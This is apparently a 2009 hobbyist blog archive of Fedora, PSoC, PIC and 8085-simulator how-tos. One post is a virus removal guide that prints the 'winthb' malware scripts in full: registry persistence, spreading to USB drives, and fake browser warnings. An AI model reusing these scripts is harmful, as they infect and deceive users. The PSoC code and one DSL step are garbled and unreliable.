Tuesday, December 22, 2009

Installing all the Free and Open Source EDA Tools on Fedora Release 12 Leonidas i386

If you have a fast Internet connection and you have established the Internet connection in your machine then follow the steps given below:
1. Open an instance of a terminal and run su to get root access:
]$ su
password:
2. Enter the root password and press ENTER. On correct root password entry the prompt of the shell would change from ]$ to ]#.
3. Run the following command (copy and paste it to the terminal and press ENTER) to use the package manager of Fedora, yum for installing the tools:
]# yum -y install irsim alliance* pharosc* ngspice* magic magic-doc iverilog ghdl* gtkwave gwave gspiceui \
octave* qtoctave freehdl archimedes electric ktechlab kicad pikdev piklab avr* pikloops sdcc* gsim85 \
netgen xcircuit geda* gerbv vhd2vl gds2pov dinotrace drawtiming gnuplot gresistor qucs gnucap linsmith \
nasm yasm pcb tkgate toped vym yum-presto perl-Hardware-Vhdl-Parser perl-Hardware-Vhdl-Tidy \
perl-Hardware-Vhdl-Lexer perl-Verilog presto-utils perl-Verilog-CodeGen perl-Hardware-Verilog-Parser \
perl-Verilog-Readmem perl-SystemPerl perl-SystemC-Vregs perl-Verilog perl-ModelSim-List dia nedit \
gpsim* gputils* sk2py deltarpm LabPlot plotutils gtkterm gtk+ gtk+-devel gperf ddd yumex fvwm
yum will do all the dependenciy check for u.done !!!

Tuesday, October 13, 2009

How to create a simple 3 button USB mouse using PSoC USB device CY8C24794

Writing code for a usb mouse is such a complicated thing that anybody learning the report structure will go mad. Here comes Cypress's PSoC .PSoC device CY8C24794 is a USB programmable device with a USB interface.Also it can be powered using the USB cable.We can make a simple 3 button mouse using this device within 10 mins,if the CY3214 kit is available.The PSoC makes it all possible.!!!!!The most important thing is to understand the working of basic things and then the technical stuff will become simple.Here a person who doesn't know how to configure the PSoC using the PSoC designer software is advised to go through the Cypress site to get the detailed tutorial. Anybody can download the tutorial by registering into the Cypress site.Also there is a site called PSoC developer where we can find some PSoC related useful posts.This is the code for the 3 button USB mouse
//----------------------------------------------------------------------------
// C main line

//----------------------------------------------------------------------------

#include // part specific constants and macros
#include "PSoCAPI.h" // PSoC API definitions for all User Modules
#include "DualADC8.h"

BYTE abMouseData[4] = {0,0,0,0};


void main()
{

/*adc initialisation*/
char cResult1, cResult2;
char cResult1_prev, cResult2_prev;
M8C_EnableGInt; // Enable global interrupts
DUALADC8_Start(DUALADC8_HIGHPOWER); // Turn on Analog section
DUALADC8_SetCalcTime(100); // Set CalcTime to 100
DUALADC8_GetSamples(); // Start ADC
cResult1=0;cResult2=0;
cResult1_prev=0;cResult2_prev=0;
/*usb initialisation*/

M8C_EnableGInt; //Enable Global Interrupts
USBFS_Start(0, USB_5V_OPERATION); //Start USBFS Operation using device 0
//and with 5V operation
while(!USBFS_bGetConfiguration()); //Wait for Device to enumerate
//Enumeration is completed load endpoint 1. Do not toggle the first time
USBFS_LoadInEP(1, abMouseData, 3, USB_NO_TOGGLE);

/*lcd initialisation*/
LCD_1_Start();
LCD_1_Position(0,5);
while(1)
{
while(!USBFS_bGetEPAckState(1)); //Wait for ACK before loading data
//ACK has occurred, load the endpoint and toggle the data bit
USBFS_LoadInEP(1, abMouseData, 3, USB_TOGGLE);
while(DUALADC8_fIsDataAvailable == 0);
cResult1_prev=cResult1;
cResult2_prev=cResult2;
cResult1 = DUALADC8_cGetData1();
cResult2 = DUALADC8_cGetData2ClearFlag();
{
if ((cResult1_prev-cResult1)> 20 ||(cResult1-cResult1_prev) > 20)
abMouseData[1] = 0x01;
else if ((cResult1_prev-cResult1)<> 20 ||(cResult2-cResult2_prev) > 20)
abMouseData[2] = 0x01;
else if ((cResult2_prev-cResult2)< style="text-align: justify;">Here in this code the mouse x and y motions are mimicked by using 2 potentiometers.The PSoC core reads the ADC (8bit)continuously and sends the conditioned value to the PSoC core for processing and sending the required data to the system. The required value is sent through the USB interface.The PRT0DR is the port 0 data register.where the data read from the input ports of the PSoC is stored. The abMouseData is an array which is actually called the report descriptor by software guys who code for this complex USB HID device.The format for the USB HID mouse is given below

Monday, August 31, 2009

PSoC a new way to design

Cypress's PSoC® Programmable System-on-Chip is the most complete solution for embedded systems, combining an 8-bit microcontroller, flash memory, and SRAM with customizable analog and digital blocks.

PSoC is a software configured, mixed-signal array with a built-in Microcontroller unit core. The core is a Cypress proprietary, 8bit harward design called the M8C. PSoC has three separate memory spaces: paged SRAM for data, flash memory for instructions and fixed data, and I/O Registers for controlling and accessing the configurable logic blocks and functions.
Here is a comparison table showing the major differences between PSoC ASIC and FPGA



PSoC ASIC
FPGA
Time to Market hours
years
hours
Design Complexity Very less
More
less compared to ASIC
Configuration can be changed during run time cannot be changed can be changed to some extend
Freq of operation Very less More Less comp to ASIC


The configuration is obtained by loading instructions from the built-in Flash memory in a PSoC whereas in an FPGA the configuration is loaded at the begining from an EEPROM into SRAM distributed memory as well as block memory.Also the FPGA uses some configurable logic blocks(CLBs).

PSoC most closely resembles a MCU in usage, where code is executed to interact with the user-specified peripheral functions (called "User Modules"), using automatically generated APIs and interrupt routines. The PSoC Designer IDE generates the startup configuration code and peripheral APIs automatically based upon the users selections in a visual-studio-like GUI.Cypress offers a visual, code-free embedded design tool for PSoC called PSoC Express. Using PSoC Express, most features of the PSoC can be accessed with drag and drop icons and logical expressions. The vishual design is compiled to executable code without exposing the user to the underlying converted code, though a visual design can be converted and used as a basis of a traditional code-based design in PSoC Designer. Visual design elements cover features such as temperature sensors, fan control, accelerometers, I2C master and slave protocols, USB virtual serial ports, capacitive sensors, and wireless 2.4 GHz radio communications.PSoC programmer is another software that is available in cypress.com that can be used to program the bitstream into the PSoC devices.
PSoC Designer
PSoC programmer
You have to register for getting the softwares and u can create cases for queries in cypress.com.

In a PSoC device the user defines What functions appears,When they appear and how !!!!!

Four Levels of Documentation
1)Technical ref manuals
2)User module datasheets (available with PSoC designer software)
3)Device datasheets
4)Project Config datasheets generated by the tool at the end of the design

Dynamic Reconfiguration
Dynamic reconfiguration is a similar kind of a thing like polymorphism in C++. One device performing different functions at different times. Multiple function sets operate on same hardware at different times in the same application. In this case we dynamically load the configuration at run time.
PSoC Applications
Voltage Monitoring,Airflow Sensing, Humidity Sensing, I2C, SPI, UART, CPU Reset, Temp Sensing, Pressure Sensing, Current Sensing, Accelerometers, Fan Control, USB devices etc are the typical applications where the PSoC can be used.

Sunday, August 23, 2009

What is rpm?Why rpm?How rpm ?and When rpm ?

What is rpm ?
It is a package file format or a software packaged in that format such as [softwarename.version.release.architechture].rpm. Originally developed by the Red Hat and it is used by most of the Red Hat based platforms like fedora.
Why rpm ?
-rpm repos contains thousands of free softwares [repos are places in web where the packages are stored and made available to public ]
-easy to install [rpm -i filename.rpm]
-easy to transport [easy to copy the single file instead of the scattered source ]
-easy to check integrity [we can easily check the integrity using the md5 ]
-a new version of the rpm file format drpm(Delta rpm) saves a lot of bandwidth while updating the system.
The major disadvantage is that the package cannot perform automatic dependency check.For that we have to use the package managers such as yum.
How rpm ?
Rpm files can be installed in a supporting platform by simply typing 2 commands in the shell.
take a shell
become the super user
$ su
goto the directory containing the rpm file
# rpm -ivh filename.rpm
for fresh installation of a package
# rpm -Uvh filename.rpm
for Updating a package
Done !!!!!
So this is how it looks simple other than compiling the whole code once.
When rpm ?
U may wonder why we need these thing if we have a yum package manager or yumex (gui for yum). Those are only useful when we have an high speed internet connection. Imagine a situation where we need 100 systems to be installed with a same set of packages and we have a damn slow net connection. One thing we can do is that , we can make the connection a high speed one. But imagine a situation where u can install the whole set of packages with in adownload time of one package. Will that make a difference ?
Yea it will
The solution is that download the packages using a yum package manager, which will automatically download the depedencies. What this yum does is that after installation this manager deletes the whole packages downloaded from the repos. So u cannot use it to install the software in another system. Copy the rpm files before it deletes ,thats the solution.
The downloaded rpm files are stored in the folder /var/cache/yum/
there will be two directories, in case of fedora it will be fedora and update
either copy these folders after the downloading of packes by the yum is complete.
Or kill the yum process by Ctrl -C or kill using kill -9 pid of yum ,then copy the files
Next step is that we can use the yum to install the packages or we can use the rpm command to install the files
Installation using the yum in another machine.
Copy the files to the same /var/cache/yum/ directory using the cp -rfu command which will update copy the files
then give the command yum -y install package names given in the system where u have downloaded the packages
Installation using the rpm command in another machine
Copy the files to any directory . Go to that directory in shell then
goto the updates/packages directory
give command
# rpm -Uvh *
then goto the fedora/packages directory
give the command
#rpm -ivh *

Done !!!!!!!!!!!!!
In case it is showing any dependency problem u have to download the corresponding package.
If dependencies are more go with the first method.





Friday, July 24, 2009

How to Install Fedora 11 from a USB bootable flash drive

  • Plug in the USB device into a Fedora 11 machine, format it using the gparted or anything else using gparted you have to become root ie ,>>$su >>password: After entering the password type >># gparted
  • Unmount the USB device to format it. Then format that using the FAT32 file system.Also make the boot flag marked by right clicking and taking "manage flags" in gparted.
  • Now make sure that the USB is not mounted.Type the command
    >>#livecd-iso-to-disk /[pathto the iso image]/ /dev/sdb1
  • After the bootup disk creation mount the USB device and create a directory images in it >>#mkdir /media/USB >>#mount /dev/sdb1 /media/USB/
    >># mkdir /media/USB/images >>#mkdir /mnt/iso >> mount -o loop /[path to the iso images] /mnt/iso >># cp -rfv /mnt/iso/images/install.img /media/images/
  • At last copy the iso file to the USB root ie, >>#cp -rfv /[path to iso file] /media/USB/
  • Reboot the system and make the boot order to boot from USB disk
  • !!!!!Done!!!!!

Monday, June 29, 2009

How to install portable Damn Small Linux in USB drive?

Damn Small Linux, as its name says, is an extremely small linux distribution.It will take around 51MB disk space.We can port the DSL just like that in a pen drive.Also we can store the worked files in the usb pen drive itself. It is just like we have a fuly installed computer in hand in a usb flash device. We can take that to anywhere we want and just need to enable the bios option boot from USB device. Also set the usb device as the first boot device in boot device priority.

Minimum Requirements for DSL with X-window

  • 486dx or 100% compatible processor
  • 16mb ram (24mb recommended)
  • dual-speed CDROM (quad-speed or better recommended)
  • 1.44mb floppy drive (for boot floppy, if needed)
  • VGA monitor and video card
  • a mouse (serial, ps/2, usb)
DSL latest release is available in the following mirrors

Current Full Mirror List:

ftp://ibiblio.org/pub/Linux/distributions/damnsmall/

http://ibiblio.org/pub/Linux/distributions/damnsmall/

ftp://ftp.is.co.za/linux/distributions/damnsmall/ (South Africa)

http://gd.tuwien.ac.at/opsys/linux/damnsmall/ (Austria) also rsync and FTP

http://gulus.USherbrooke.ca/pub/distro/DamnSmallLinux/Location: (Quebec,
Canada)

http://ftp.belnet.be/packages/damnsmalllinux/ (Belgian)

ftp://ftp.belnet.be/packages/damnsmalllinux/ (Belgian)

http://ftp.heanet.ie/mirrors/damnsmalllinux.org/

ftp://ftp.heanet.ie/mirrors/damnsmalllinux.org/


Rysnc Mirror:

rsync ftp.belnet.be::packages/damnsmalllinux/


sync://ftp.heanet.ie/mirrors/damnsmalllinux.org/


Bittorrent Mirror:

Linux Tracker, Torrent & Xdelta

http://www.tlm-project.org/torrents/damnsmall/


Metalink:

Metalink

Portable DSL usb flash pen drive install

1)download the syslinux

2)download the dsl-xxxx.embedded.zip file

3)extract the syslinux-3.82.tar.gz file to a folder named syslinux or whatever

4)take the command prompt in the windows and goto the syslinux/win32/ directory

5)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win325)run the command win32$>syslinux -ma [usbdevicedrive letter]:

6)extract the dsl-xxxx.embedded.zip file to the usb device

7)reboot the system and press enter when the boot: .. screen appears
!!!1enjoy!!!!

Saturday, June 13, 2009

Ocatve-An alternative to MATLAB

Some FAQs



* It is one of the High Priority Free Software Projects in GNU

* Creator- John W. Eaton

* Octave became GNU Octave in 1997 (beginning with version 2.0.6)

* Gnu octave - Free software (GPL)

* Documentation- http://www.octave.org/docs.html

* Qt octave is a GUI for Gnu octave

* Convenient command line interface for solving linear and non linear problems numerically

* Prototyping, numerical experiments etc

Octave As An Analysis Tool



* Solving numerical linear algebra problems

* Finding the roots of nonlinear equations

* Integrating ordinary functions

* Manipulating polynomials

* Integrating ordinary differential and differential-algebraic equations

Ocatve As A System Simulation Tool



* Control Theory

* Signal Processing

* Image Processing

* Audio Processing

Octave As A Computational Engine



* Programmable

* Easily Extendible

* Graphical Comparison Tool

Want to learn octave visit octave tutorial

for octave graphical program examples goto octave graphical programs

Thursday, May 28, 2009

Download videos from youtube, daily motion etc without any softwares

Save ur valuable usage, if u use a limited connection. Go to the web site, u need to down load the video, view the video completely and after viewing dont close the browser. 
For Internet explorer
Go to the folder given below 
windows installation directory:\Documents and Settings\user\Local Settings\Temporary Internet Files\ 
Here u can find the file cached.You can copy the file by just viewing the size of the file and copying the file to another folder.opening the file may ask a question like this 


so copy that file to another folder and open from there
rename the file as u wish
!!!!!!!!!!!!!! Booom u have done with the download process 
For Mozilla firefox
Windows installation directory :\Documents and Settings\user\Local Settings\Application Data\Mozilla\Firefox\Profiles\xqfqfvde.default\Cache\ 
Here u can find the file cached.You can copy the file by just viewing the size of the file and copying the file to another folder.
there u are 

Monday, January 26, 2009

How to remove virus winthb also win.exe and avgs.exe

winthb is a virus program recently came to my system from a usb flash device. It hides the hidden folders completely and copies the autorun.inf file to c: drive and reproduces it whenever we delete that.The icon of the c: drive changes to something like below

The virus program also has the symptoms listed below,

1. when we try to search orkut in google, it will display an error message " WARNING,orkut is sending viruses to your pc. To protect your pc close this window ,orkut is infected by jammer worm " also it will play a music . (win.mp3)
2. when we try youtube ,WARNING,Dangerous script send by youtube, Windows system files damage if this script run
3.In my system mozilla firefox was disabled when the thb fellow came ,anyway the firefox showed "File missing,TCP/IP module Missing from npqtplugin4.dll. it may infected by virus"


How to remove winthb virus
take start>run>enter temp
clear the directory
also run %temp 
clear that also
As a first step when u boot into windows press ALT+CTRL+DEL.Stop the process win.exe and avgs.exe if they are running.Goto run type regedit(enter).Then the registry editor window will come.[1]Goto HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue will be made 0 by the program make it 1.
Now all the hidden files will be available. Goto Tools>folderoptions>view>show all hidden files.
Now search for avgs.exe in the windows search engine.If there is a file available in the search loacte its path.Do not double click on any drives to get into them because most of the viruses get into system when we double click on the drive by running the autorun.inf file.If we have to , do a adreess bar opening .I got the fellows from my C:\windows\system32\win.dll\
the folder icon for win.dll was not appearing as a usual folder icon it was the icon for dll files and also it was hidden. So please do not run any virus while doing these.If u do so u wont see the hidden files. In this case u have to do the [1].FInd the folder and delete it. Find any file named win.exe ,avgs.exe,.The folder C:\windows\system32\win.dll\ contained some files named 
win.exe
avgs.exe
Desktop.ini
std.txt
Drivelist.txt
Icon.ico
reproduce.txt
win.mp3
thb.ico
Dll.ico
script1.txt


The virus script looks like the one below,
std.txt
#notrayicon
#singleinstance,ignore
regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue
ifnotequal,regdata,0
 regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,0
Run D:\RECYCLE\win.exe D:\RECYCLE\script1.txt
Run D:\RECYCLE\avgs.exe D:\RECYCLE\reproduce.txt


reproduce.txt
#notrayicon
#persistent
ArrayCount = 0
Loop, Read,D:\RECYCLE\driveList.txt
{
    ArrayCount += 1
    Array%ArrayCount% := A_LoopReadLine
}
dat1=%userprofile%
settimer,reproduce,5000
return

reproduce:

Loop %ArrayCount%
{

    element := Array%A_Index%
    driveget,data,Type,%element%:\
    ifequal,data,Removable
     {
     driveget,data1,status,%element%:\
      ifequal,data1,Ready
      {
        FileCopydir,D:\RECYCLE\reg.bkp,%element%:\,1

      }

     }
}
regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon
ifnotequal,regdata,D:\RECYCLE\win.exe D:\RECYCLE\std.txt
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon,D:\RECYCLE\win.exe D:\RECYCLE\std.txt

ifnotexist,c:\thb.ico
 ifnotexist,c:\autorun.inf
         filedelete,c:\autorun.inf
         Filecopy,C:\DOCUME~1\Ravi\LOCALS~1\Temp\winthb\thb.ico,c:\
Filecopy,C:\DOCUME~1\Ravi\LOCALS~1\Temp\winthb\autorun.inf,c:\
return


script1.txt

#persistent
#notrayicon
settimer,ban,2000
return

ban:
WinGetActiveTitle, ed
 ifinstring,ed,orkut
  {
   winclose %ed%
   soundplay,D:\RECYCLE\win.mp3
   msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30
   return
  }
 ifinstring,ed,youtube
  {
   winclose %ed%
   soundplay,D:\RECYCLE\win.mp3
   msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r
   return
  }
 ifinstring,ed,Mozilla Firefox
  {
    winclose %ed%
    msgbox,262160,File missing,TCP/IP module Missing from npqtplugin4.dll. it may infected by virus  `r`r       ,30
    return
  }
ifwinactive ahk_class IEFrame
{

 ControlGetText,ed,edit1,ahk_class IEFrame
 ifinstring,ed,orkut
  {
    winclose ahk_class IEFrame
    soundplay,D:\RECYCLE\win.mp3
    msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30
    return
  }
 ControlGetText,ed,edit2,ahk_class IEFrame
 ifinstring,ed,orkut
  {
    winclose ahk_class IEFrame
    soundplay,D:\RECYCLE\win.mp3
    msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30
     return
  }
 ControlGetText,ed,edit3,ahk_class IEFrame
 ifinstring,ed,orkut
  {
    winclose ahk_class IEFrame
    soundplay,D:\RECYCLE\win.mp3
   msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30
    return
  }
 ControlGetText,ed,edit4,ahk_class IEFrame
 ifinstring,ed,orkut
  {
    winclose ahk_class IEFrame
    soundplay,D:\RECYCLE\win.mp3
    msgbox,262160,WARNING,orkut is sending viruses to your pc. To protect your pc close this window `r`r                orkut is infected by jammer worm ,30
    return
  }
 ControlGetText,ed,edit1,ahk_class IEFrame
 ifinstring,ed,youtube
  {
    winclose ahk_class IEFrame
    soundplay,D:\RECYCLE\win.mp3
    msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r
    return
  }
 ControlGetText,ed,edit2,ahk_class IEFrame
 ifinstring,ed,youtube
  {
    winclose ahk_class IEFrame
    soundplay,D:\RECYCLE\win.mp3
    msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r
     return
  }
 ControlGetText,ed,edit3,ahk_class IEFrame
 ifinstring,ed,youtube
  {
    winclose ahk_class IEFrame
    soundplay,D:\RECYCLE\win.mp3
   msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r
    return
  }
 ControlGetText,ed,edit4,ahk_class IEFrame
 ifinstring,ed,youtube
  {
    winclose ahk_class IEFrame
    soundplay,D:\RECYCLE\win.mp3
    msgbox,262160,WARNING,Dangerous script send by youtube, Windows system files damage if this script run`r`r
    return
  }

}
return

  • Creates c:\windows\system32\win.dll\svchost.exe
  • create folder C:\WINDOWS\system32\win.dll
  • create folder C:\WINDOWS\system32\win.dll\reg.bkp
  • Copies filec:\docume~1\user\locals~1\temp\winthb\win.exe to c:\windows\system32\win.dll\win.exe
  • Copies filec:\docume~1\user\locals~1\temp\winthb\avgs.exe to c:\windows\system32\win.dll\avgs.exe
  • Copies filec:\docume~1\user\locals~1\temp\winthb\drivelist.txt to c:\windows\system32\win.dll\drivelist.txt
  • Copies filec:\docume~1\user\locals~1\temp\winthb\win.mp3 to c:\windows\system32\win.dll\win.mp3
  • Copies filec:\docume~1\user\locals~1\temp\winthb\Icon.ico to c:\windows\system32\win.dll\Icon.ico
  • Copies filec:\docume~1\user\locals~1\temp\winthb\thb.ico to c:\windows\system32\win.dll\thb.ico
  • Copies filec:\docume~1\user\locals~1\temp\winthb\DLL.ico to c:\windows\system32\win.dll\DLL.ico
  • Deletes c:\autorun.inf
  • Copies filec:\docume~1\user\locals~1\temp\winthb\thb.ico to c:\thb.ico
  • Copies filec:\docume~1\user\locals~1\temp\winthb\autorun.inf to c:\autorun.inf

After all these things i found a copy of the thb files in my D:\RECYCLE it looked like RECYCLER but there was no R at the end.Clear that aslo.Also idont know whether the script has any other effects.If any feel free to comment.Thanks

Monday, January 12, 2009

Simple College /School Quizzing Buzzer Circuit using PIC 18f4550 with 7 Segment Display

A buzzer finds application in quizzing, where the quiz master must know exactly who presses the first button to answer the question.Instead of glowing the bulb corresponding to the person who presses the button first, we can show the number corresponding to the person in a 7 segment display.This is desirable since its simple and less power consuming than lighting a bulb.We can simply program the PIC 18f4550 using USB cable connected to the system. No need for any programmer arrangement if we have already programmed the boot loader into the device. We need the PICDEM FS USB tool available in Microchip's site.This tool helps us to program the device using USB cable. Another tool called C-18 needs to to installed on the system along with the mplab ide to develop the software for the project .
#include "p18cxxx.h"
#include "usart.h"

extern void _startup (void);
// See c018i.c in your C18 compiler directory
#pragma code _RESET_INTERRUPT_VECTOR = 0x000800
void _reset (void)
{
_asm goto _startup _endasm
}
#pragma code

#define byte unsigned char
void delay (void);
void display(byte);
void main(void)
{
byte c=0;

TRISD = 0;
TRISB = 255;

while(1)
{

c= ~PORTB;
switch (c)
{
case 1:
display(0);
break;
case 2:
display(1);
break;
case 4:
display(2);
break;
case 8:
display(3);
break;
case 16:
display(4);
break;
case 32:
display(5);
break;
case 64:
display(6);
break;
case 128:
display(7);
break;

default:
display(10);

break;
}

delay();




if(c)
{
while(1);
}
//the while loop resets to start of main if reset is done pin 1 gnded (hardware reset)
}
}



void delay(void)
{
long int count = 200000;
while (count--)
{
}

}


void display(byte a)
{
switch(a)
{// these may or maynot work on all 7 segments to determine which segment is which we need to write test programs
case 0: PORTD = 0b01000000;break;
case 1: PORTD = 0b11111010;break;
case 2: PORTD = 0b00100100;break;
case 3: PORTD = 0b00110000;break;
case 4: PORTD = 0b10010010;break;
case 5: PORTD = 0b00010001;break;
case 6: PORTD = 0b00000001;break;
case 7: PORTD = 0b11111000;break;
case 8: PORTD = 0b00000000;break;
case 9: PORTD = 0b10010000;break;
case 10: PORTD = 0b11111111;break;
default :
PORTD = 0b11111111;
break;
}
}

PORTD is used as the output port ,ie the seven segment display to display the number corresponding to the pressed pin on PORTB.PORTB is normally connected to VCC through a pullup (10k). Each pin is gnded to detect a key press .A switch is connected between the pin and the gnd.The ckt detects the first key pressed among 8 keys and displays the keynumber on seven segment.

Monday, December 22, 2008

Yum Extender (2.0.4)

The yum tool is one of the most common utilities used to keep Linux up to date.A graphical tool for updating the fedora is Yum Extender. We can install the yum extender using the command
$ yum install yumex
After installation we can run
$ yumex & to launch the yum extender
or we can goto Applications> System tools > yum extender

Useful tabs of yumex are an update tab on the top left then a group view and an o/p view.From first tab we can select/search the package.From the group view tab we can view the packages by their respective groups,like applications , entertainment, education etc.


It can also be used to remove packages. It keeps track of the installed and available packages.Up to 60% it completes the downloading , in case of adding a package, and the rest is for installing the package.Also when a long list is given to it , it does the downloading in the order of size of the packages ( increasing order of size).

Tuesday, December 2, 2008

A new look , a new system, its Fedora 10

Here is a new look with my Acer aspire 4730Z, using fedora 10.





Even though there was a bug with the fedora 10 it looks fine.The bug is that the network manager and network GUI setting is not changing the subnet mask Then we change the subnet mask in GUI.The bug can be fixed manually by disabling the network manager from System>administration>services
Become substitute user(su) and login as root, then goto the /etc/sysconfig/networking/profiles/default/
using
cd /etc/sysconfig/networking/profiles/default/

edit the file ifcfg-eth0 using gedit or any other editor

gedit ifcfg-eth0

it looks like this
# Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller
DEVICE=eth0
BOOTPROTO=none
HWADDR="mac"
ONBOOT=yes
NM_CONTROLLED=no
NETMASK=255.255.255.0
IPADDR=192.168.11.130
GATEWAY=192.168.11.123
TYPE=Ethernet
USERCTL=yes
PEERDNS=yes
IPV6INIT=no
add the line in blue text if there is no such text,then save the file and run the binary ifdown eth0 in sbin

/sbin/ifdown eth0
then
/sbin/ifup eth0
now we will be getting the connection.To configure the yum we need to configure the yum.conf file in etc ,if there is a proxy server
add a line
proxy=http://(IP eg:192.168.1.1 etc):port number/

save the file and use yum install something in shell.Use the same settings for wlan to configure Wifi.In fedora 9 the driver for my atheros was not there but for fedora 10 release the driver got automatically installed on upgradation from fedora 9 to fedora 10.Here is a set of pictures from fedora 10, I have configured fedora 10 to look like a new one.










To enable the desktop effects in fedora 10 goto system>preferences>look and feel>desktop effects>enable desktop effects.Use alt+ctrl+arrow keys to rotate the desktop.

Sunday, November 23, 2008

8085 Simulator for Windows (32 -bit)/ Linux

8085sim is a potential product for 8085 microprocessor instruction set simulation.The simulators for both Win(32-bit)/Linux are uploaded hereThe simulator for win is 8085sim.exe and for linux its named as 8085sim.
For Windows :
Copy the 8085sim.exe to any folder named 8085 or anything.It is necessary to copy this to a folder, otherwise the files created by the 8085sim.exe will get scattered around the environment folder.
Run the file
First we will be facing a main menu having 10 options.Select one of them using 1 to 10 numbers.

Code editor(2) & Memory editor (1)
Image above shows the main menu.number 2 is enetered for the code editor we type in the hex code (no need to put H at the end to indicate hex) of the instructions and will at last put a 76H(HLT)instruction.HLT is a must for a program entered in 8085sim.Without an HLT (76H)8085sim will execute infinite loops , so is the case for real hardware.
When we get into the code editor the
Codeeditor>>$ ORIGIN :
comes we have to type in the origin or starting address for the hexcode entry.
After the entry it prints the mapoffset and pc content
For the mem editor the pc will be different than the map offset.
Memory editor provides an interface to direct editing of memory. In this case we can store an array of numbers in some address and use that address in program.

Single step(3) & Normal exe(4)
Image above shows the single stepping mode for 8085sim.After the hexcode entry by using the code editor we can use singlestepping(3) or normal exe(4), for executing the program. When an instruction is executed the 8085sim diaplays all the reg contents below that after showing the instruction and address to which it has been entered.A single stepping or normal exe operation of 8085sim terminated with the execution of a 76 instruction.

Saving the program in harddisk(7)
The above image shows how to save a program that has been entered and executed to harddisk.The 8085 sim sets aside a memory map in RAM of the system ,for virtual 8085simulation.The memory map starts form 0000H to ffffH in hex.So it sets aside 64Kb of memory in RAM . After we leave the simulator it frees the RAM.When its been rerun it will initialise all the contents of RAM to 0H. So we need to write the entered hex code or memory content to hard disk. The purpose of save is to achieve this.We have to enter a file name and also the starting location of the code in memorymap.The saved file is created inside the folder to which the 8085sim was copied.When the file is saved successfully the 8085sim indicates it by printing the number of 8bit codes written to disk
----8-----File written to secondary storage device.
Now we can exit the 8085sim by typing 5.




Loading(8) & Dumping the RAM(9)
The image above shows how to load the file named 16bitadd.Suppose we are exiting the 8085sim by saving the current program.At anytime later on we can try executing the same program by loading that program file into the memorymap of 8085sim.Here the saved file is 16bitadd.
After succussfully loading the file the 8085sim prints a result as shown below.
-----8-----File successfully loaded.
where 8 is the number of code bytes in file.
8085sim also has a memory map analysis file called MAP.RAM. To print the contents of memorymap of 8085sim (0000h to ffffh) select the number 9 from the mainmenu.It dumps the contents of RAM to a file named MAP.RAM.
Assembler is under construction.

For LINUX:
I have tried the binary for Fedora Core 9.If there is any problem please comment.
For linux we have to copy the binary to the bin folder of root.
First open a terminal .Login as a root user
fedora home]$ su
password:
fedora home]#
After the entry as a root the command prompt change from $ to #
copu the 8085sim to /bin
type
home]# cp 8085sim /bin/8085sim
home]#exit
then the 8085sim binary will have entered into the /bin
Now one can type the 8085sim command anywhere to run the simulator.One problem with running the simulator anywhere is that u may not be having enough permissions to create files in some folders.In such cases the save file will show error message .So always use a valid path .Preferably create a folder for 8085simulator.I have created a folder named 8085simfiles in my home directory.
Now change the working directory to home ]$ cd /home/8085simfiles
Now run home]$8085sim
We can see the 8085 mainmenu as shown below



Code editor & Memory editor
Image above shows the main menu.number 2 is enetered for the code editor we type in the hex code (no need to put H at the end to indicate hex) of the instructions and will at last put a 76H(HLT)instruction.HLT is a must for a program entered in 8085sim.Without an HLT (76H)8085sim will execute infinite loops , so is the case for real hardware.
When we get into the code editor the
Codeeditor>>$ ORIGIN :
comes we have to type in the origin or starting address for the hexcode entry. After the entry it prints the mapoffset and pc content.For the mem editor the pc will be different than the map offset. Memory editor provides an interface to direct editing of memory. In this case we can store an array of numbers in some address and use that address in program.


Single step(3) & Normal exe(4)
Image above shows the single stepping mode for 8085sim.After the hexcode entry by using the code editor we can use singlestepping(3) or normal exe(4), for executing the program.When an instruction is executed the 8085sim diaplays all the reg contents below that after showing the instruction and address to which it has been entered.A single stepping or normal exe operation of 8085sim terminated with the execution of a 76 instruction.

Saving the program in harddisk(7)
The above image shows how to save a program that has been entered and executed to harddisk.The 8085 sim sets aside a memory map in RAM of the system ,for virtual 8085simulation.The memory map starts form 0000H to ffffH in hex.So it sets aside 64Kb of memory in RAM. After we leave the simulator it frees the RAM.When its been rerun it will initialise all the contents of RAM to 0H. So we need to write the entered hex code or memory content to hard disk. The purpose of save is to achieve this.We have to enter a file name and also the starting location of the code in memorymap.The saved file is created inside the folder to which the 8085sim was copied.When the file is saved successfully the 8085sim indicates it by printing the number of 8bit codes written to disk
----8-----File written to secondary storage device.
Now we can exit the 8085sim by typing 5.
Loading(8) & Dumping the RAM(9)
The image above shows how to load the file named 16bitadd.Suppose we are exiting the 8085sim by saving the current program.At anytime later on we can try executing the same program by loading that program file into the memorymap of 8085sim.Here the saved file is 16bitadd. After succussfully loading the file the 8085sim prints a result as shown below.
-----8-----File successfully loaded.
where 8 is the number of code bytes in file.


8085sim also has a memory map analysis file called MAP.RAM. To print the contents of memorymap of 8085sim (0000h to ffffh) select the number 9 from the mainmenu.It dumps the contents of RAM to a file named MAP.RAM.Assembler is under construction.
